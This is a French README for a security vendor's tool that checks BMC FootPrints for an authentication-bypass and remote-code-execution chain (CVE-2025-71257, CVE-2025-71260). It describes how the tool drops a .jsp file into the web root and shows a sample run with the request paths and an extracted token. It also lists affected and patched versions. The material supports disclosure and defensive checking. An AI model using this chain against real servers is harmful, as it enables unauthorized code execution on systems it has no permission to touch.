CVE-2025-71257 et CVE-2025-71260 — Chaîne d’exécution de code à distance pré-authentifiée BMC FootPrints

Outil de génération d’artefacts de détection pour la chaîne d’exécution de code à distance pré-authentifiée BMC FootPrints

Description

Ce générateur d’artefacts de détection vérifie si une instance BMC FootPrints est vulnérable aux CVE-2025-71257 et CVE-2025-71260.

Le générateur d’artefacts de détection tente d’effectuer deux opérations :

Contourner l’authentification avec CVE-2025-71257 — ce contrôle est très précis.
En cas de succès, il tente de vérifier l’exécution de code à distance (RCE) de CVE-2025-71260 en écrivant un fichier .jsp randomisé dans la racine web des serveurs Tomcat. Ce fichier .jsp se contente d’énumérer les informations système.

Détection en action

Test contre une instance vulnérable :

python3 watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py http://192.168.2.2
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py

        (*) BMC Footprints Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2025-71257, CVE-2025-71260]
        
============================================================
Detection Artifact Generator Tool
============================================================
Target: http://192.168.2.2

[+] Making first request to: http://192.168.2.2/footprints/servicedesk/passwordreset/request/
[+] Successfully extracted SEC_TOKEN: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h

[+] Making second request to: http://192.168.2.2footprints/servicedesk/aspnetconfig
[+] Using token: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] Using randomized JSP name: MNdeu12Wf

[+] Making third request to: http://192.168.2.2/MNdeu12Wf.jsp (randomized artifact)

==================================================
EXTRACTED INFORMATION:
==================================================
Username: LOCAL SERVICE
Working Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0
==================================================

[+] Detection Artifact Generator Completed!

Versions affectées

BMC FootPrints : de 20.20.02 à 20.24.01.001

Correctifs disponibles

20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01

Références : https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2/

Suivez les watchTowr Labs

Pour les dernières recherches en sécurité, suivez l’équipe des watchTowr Labs

watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260